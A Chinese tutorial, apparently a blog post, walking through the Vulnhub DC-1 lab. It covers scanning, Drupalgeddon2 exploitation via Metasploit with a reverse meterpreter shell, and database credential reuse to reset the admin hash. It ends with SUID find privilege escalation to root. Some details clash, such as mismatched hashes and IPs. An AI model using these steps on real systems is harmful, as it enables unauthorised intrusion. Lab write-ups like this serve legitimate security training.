渗透入门:DC-1主机渗透详细教学

介绍

DC系列靶场是一组专门为渗透测试而设计的易受攻击的实验室,共有九个靶场。它的目的是让初学者获得渗透测试领域的经验,但是它的难度取决于你的技能和知识,以及你的学习能力。每个靶场都有一些隐藏的标志,包含了一些提示或线索,帮助你获取更高级别的权限,直到拿到root身份。

DC系列靶场可以在Vulnhub平台上下载,也可以在百度网盘上下载。每个靶场都是一个虚拟机文件,可以用VMware或VirtualBox等虚拟机软件运行。每个靶场都有一个固定的IP地址,可以通过网络连接进行攻击。

前提

本教学讲义假设你已经具备以下条件:

  • 你已经下载并安装了VMware或VirtualBox等虚拟机软件,并配置了合适的网络设置。

  • 你已经下载并导入了DC系列靶场的虚拟机文件,并启动了它们。

  • 你已经准备了一个用于攻击的虚拟机或物理机,安装了Kali Linux或其他类似的操作系统,并安装了必要的渗透测试工具。

  • 你已经掌握了基本的Linux命令和网络知识。

开始

DC-1的靶机下载地址为:DC: 1 ~ VulnHub

第一步:环境配置。

打开虚拟机后,将其网络适配器调整为NAT模式,确保kali虚拟机与其模式一致。

1693271432_64ed458824405b39e8174.jpeg!small?1693271431906

第二步:信息收集

  1. kali IP已知。

  2. DC-1 IP未知。

进入kali使用用nmap,或者arp-scan。

`nmap:nmap -sP 192.168.106.0/24 `

1693271452_64ed459c3942ed3dd4000.png!small?1693271452024

arp-scan: arp-scan -l

1693271457_64ed45a1c09be64aa0057.png!small?1693271457759

获得 DC-1 IP:192.168.106.159

拿到IP后我们需要对目标系统进行信息收集,以了解其运行的服务,开放的端口,可能存在的漏洞等。我们可以使用nmap工具进行扫描,命令如下:

nmap -sV -sC -A -oN dc1_scan.txt 192.168.106.159

这个命令的含义是:

  • -sV:探测目标系统的服务版本。

  • -sC:使用默认的nmap脚本进行扫描。

  • -A:这个选项表示执行“全面扫描”。它包含了多个子选项,包括版本探测、脚本扫描、操作系统探测等。通过使用这个选项,你可以获取尽可能多的关于目标主机的信息。

  • -oN:将扫描结果输出到一个文本文件中。

  • 192.168.106.159:目标系统的IP地址。

扫描结果如下:

1693271472_64ed45b02854823949443.png!small?1693271471759

从扫描结果中,我们可以得到以下信息:

  • 目标主机信息:

    • IP 地址:192.168.106.159

    • 主机状态:在线(Latency 0.00046 秒)

  • 开放的端口和服务信息:

    • 22/tcp: 开放,运行 SSH 服务,版本为 OpenSSH 6.0p1 Debian 4+deb7u7(SSH 协议 2.0)

    • 80/tcp: 开放,运行 Apache httpd 2.2.22,网站标题显示为 "Welcome to Drupal Site | Drupal Site"

    • 111/tcp: 开放,运行 RPCBind 服务

  • SSH 服务信息:

    • SSH 主机密钥信息(DSA、RSA、ECDSA)

    • SSH 协议版本:2.0

  • Web 服务信息(端口 80):

    • 使用的 Web 服务器:Apache/2.2.22 (Debian)

    • 通过 robots.txt 文件禁止了一些路径

    • 使用的 Web 框架:Drupal 7

  • RPCBind 服务信息(端口 111):

    • 支持的 RPC 版本和服务信息

  • 网络设备信息:

    • MAC 地址:00:0C:29:9D:41:05(VMware)

    • 设备类型:通用用途

    • 运行的操作系统:Linux 3.X

    • OS CPE:cpe:/o:linux:linux_kernel:3

    • 操作系统细节:Linux 3.2 - 3.16

  • 路由信息:

    • 距离网络的跳数:1 hop

  • 服务信息:

    • 运行的操作系统:Linux

    • CPE 信息:cpe:/o:linux:linux_kernel

可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.106.159

1693271483_64ed45bb0e046ff943cd8.png!small?1693271482494

看到网站,我们可以试试挖下目录文件。

指纹识别(whatweb)

whatweb -v 192.168.106.159

1693271492_64ed45c4693203822d6a2.png!small?1693271491904

通过查看返回信息 也可以找到CMS版本以及名字

1693271498_64ed45ca5baa56bf6012d.png!small?1693271497925

接下来,我们需要对目标系统的网站进行探测,以了解其结构,内容,功能等。我们可以使用nikto和dirb工具进行扫描,命令如下:

nikto -h 192.168.106.159 -o nikto_dc1.txt
​
dirb http://192.168.106.159 /usr/share/wordlists/dirb/common.txt -o dirb_dc1.txt
  • nikto:一个用于检测网站漏洞和配置错误的工具。

  • -h:指定目标主机的IP地址或域名。

  • -o:将扫描结果输出到一个文本文件中。

  • dirb:一个用于暴力破解网站目录和文件的工具。

  • http://192.168.56.101:目标网站的URL。

  • /usr/share/wordlists/dirb/common.txt:指定用于暴力破解的字典文件。

  • -o:将扫描结果输出到一个文本文件中。

1693271535_64ed45ef433eee0373247.png!small?1693271535124

从扫描结果中,我们可以得到以下信息:

  • 目标网站使用的是Apache/2.2.22 (Debian)服务器,存在一些配置错误和安全风险。

  • 目标网站有一些可能有趣的目录,如/admin/, /backup/, /test/, /tmp/等,其中/icons/目录存在目录遍历漏洞。

  • 目标网站的根目录下只有一个index.html文件

  • 这个文件没有给出任何有用的信息,只是简单地介绍了这个靶场的目的和难度。

2.查找漏洞

打开漏洞利用数据库:

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)

搜索Drupal 7

1693271560_64ed460898d13cfdf5581.png!small?1693271560178

3.漏洞利用

Drupal上面已经给出meatsploit验证过的漏洞,所以我们去msf进行尝试。

1693271565_64ed460d2f3af6e051c3f.png!small?1693271564552

1.进入msf

msfconsole

2.查找相应模块

search Drupa

1693271570_64ed46121baf2c1c193b9.png!small?1693271569964

3.使用相应模块, exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

1693271575_64ed4617000a5123209dc.png!small?1693271574538

可以看到已经默认给我们选择好了对应的payload,看到了熟悉的php/meterpreter/reverse_tcp

5.配置的参数

那我们直接查看参数即可

show options

1693271581_64ed461d746556eaf4b30.png!small?1693271581315

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

6.配置

set rhosts 192.168.106.159

1693271589_64ed4625a679d8afb7694.png!small?1693271589395

7.启动

run

1693271596_64ed462c7167e2ad61785.png!small?1693271596357

可以看到session的建立

9.查看DC-1基本信息

sysinfo

1693271602_64ed463253cd4f5d176eb.png!small?1693271601992

10.获得shell

shell

1693271608_64ed4638e25a644237aeb.png!small?1693271608614

为了符合我们的使用习惯,所以利用python在目标系统上生成一个交互式的 Bash Shell

python -c "import pty;pty.spawn('/bin/bash')"

1693271615_64ed463f206b16b050577.png!small?1693271614959

这条命令是一个用于在交互式 Shell 中执行命令的 Python 命令。它使用 Python 的pty模块来实现一个伪终端(pseudo-terminal),然后在该伪终端上生成一个交互式的 Bash Shell。

  • python -c: 这部分表示运行一个 Python 脚本,-c参数后面可以跟着一行 Python 代码。

  • "import pty;pty.spawn('/bin/bash')": 这是要运行的 Python 代码片段,它执行了以下操作:

    • import pty: 导入 Python 的pty模块,该模块用于控制伪终端。

    • pty.spawn('/bin/bash'): 这行代码使用pty.spawn()函数来启动一个/bin/bash进程,也就是 Bash Shell。这将创建一个交互式的 Shell 会话,使你能够与目标系统进行命令交互。

这个命令的目的是在目标系统上生成一个交互式的 Bash Shell,让你能够直接在目标系统上执行命令,就像你在本地系统上一样。

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

再使用cat查看

ls
cat flag1.txt

1693271622_64ed46464fc6eea3ae910.png!small?1693271622059

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name "con*"

1693271627_64ed464b43a556fc3404c.png!small?1693271626742

很多,但是感觉都不对劲,此时我们应该直接下载此cms的源码来进行查看,但是我选择直接百度一下

1693271632_64ed4650030d1d711ca19.png!small?1693271631441

cat ./sites/default/settings.php

1693271635_64ed4653c380ddc35e9ed.png!small?1693271635440

发现flag2

* Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials?

暴力破解和字典攻击并不是获取访问权限的唯一途径(你肯定需要访问权限)。使用这些凭据,你可以做什么?

这段文字暗示,不仅仅通过暴力破解和字典攻击可以获取访问权限。它提到了一种可能性,即获取了访问凭据(可能是用户名和密码)之后,你可以利用这些凭据进行其他的操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

我们尝试登录一下

mysql -udbuser -pR0ck3t

1693271642_64ed465a03746f35fcb12.png!small?1693271641644

查看库并进入当前数据库中

show databases;
use drupaldb

1693271647_64ed465f64a4c6dda6b55.png!small?1693271646989

寻找用户信息

show tables;

1693271651_64ed4663d1d1c74d06266.png!small?1693271651589

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向:

1693271656_64ed466892ccb7407f1f0.png!small?1693271656197

可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

find . -name "*password"

1693271661_64ed466d040e66f7929fa.png!small?1693271660385

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西

./scripts/password-hash.sh

1693271665_64ed46713b335dde9604e.png!small?1693271664858

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

1693271672_64ed467838d46dbf5b8f5.png!small?1693271671863

果然返回了hash后的值。

原来admin的密码hash后为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,那么我们就把原来密码替换了

刚刚123456 hash后为:$S$Dt5Bb1dmxqfKY9jpZuhVDhwOiP3xGLpDETsesbsTIZjEFRADhfYl

重新回到数据库drupaldb内。

mysql -udbuser -pR0ck3t

show databases;

use drupaldb

更新密码

update users set
pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where
name="admin";

1693271795_64ed46f3dfd2110d79b49.png!small?1693271795527

更新完成后,我们访问网站192.168.106.159进行登录

1693271800_64ed46f8704fbcbea432e.png!small?1693271799908

找一下看看有什么东西

1693271804_64ed46fc0da31c7e96312.png!small?1693271803621

得到flag3;

1693271807_64ed46ff855d8449a9c31.png!small?1693271807079

并且获得提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd

1693271814_64ed47067202ab9a6cf14.png!small?1693271814195

发现里面有flag4,给了个路径/home/flag4

切换到flag4用户不知道密码,那就只能去到其目录下里面看看有什么文件

cd /home/flag4
ls
cat flag4.txt

1693271819_64ed470bd031ec086c38a.png!small?1693271819526

发现提示目录不存在,草率了啊,没有加后缀,直接cat查看flag4.txt

找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root

发现没有权限需要提权,直接SUID提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null
  • find: 这是 Linux 系统中用于查找文件和目录的命令。

  • /: 这表示搜索的起始路径是根目录。

  • -perm -u=s: 这个部分是find命令的选项之一。-perm选项用于指定要搜索的文件权限。-u=s表示要查找具有 SUID 权限的文件。SUID 权限位是文件所有者权限中的一个,它允许执行文件以文件所有者的权限运行。

  • -type f: 这部分限定了搜索结果只包括文件(而不包括目录)。

  • 2>/dev/null: 这部分将标准错误输出重定向到/dev/null,从而不会显示权限错误或访问拒绝的信息。

综合起来,这个命令的目的是在整个文件系统中搜索具有 SUID 权限的可执行文件,并将结果显示在终端上。

1637397052_6198b23c8dedbfefca0c1.png!small?1637397052572

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec "/bin/bash" -p \;
  • find: 这是一个用于搜索文件和目录的 Linux 命令。

  • /: 这表示搜索的起始路径是根目录,也就是整个文件系统。

  • -exec /bin/bash \;: 这个部分使用-exec选项来执行命令。/bin/bash是一个用于执行命令的 Shell。\;表示命令结束,这是一个必需的语法。

这个命令的效果是,它会遍历整个文件系统,对每个文件和目录都执行/bin/bash,从而启动一个 Shell。这意味着你会在整个文件系统中打开许多 Shell,可能以系统的特权(root 权限)运行,这将对系统的安全和稳定性造成严重威胁。

可以看到有一个thefinalflag.txt 最后的flag,直接cat查看即可

cat thefinalflag.txt

1693271865_64ed4739880ee6c64c1e0.png!small?1693271865348

获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权

至此,我们已经完成了DC-1靶场的所有步骤,学习了一些基本的渗透测试工具和技术,以及如何识别和利用常见的漏洞和弱点并获取了所有标志文件,并总结我们的收获和经验。

网络安全如何学习

 如果你对网络安全入门感兴趣,那么你点击这里CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

 2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

 (都打包成一块的了,不能一一展开,总共300多集)点击自行下载;

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

决定好了就要坚定自己的想法,一步步稳扎稳打学好计算机相关的课程,合理利用网络上的学习资源提高自我,祝大家都能学业有成,仕途顺利。

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值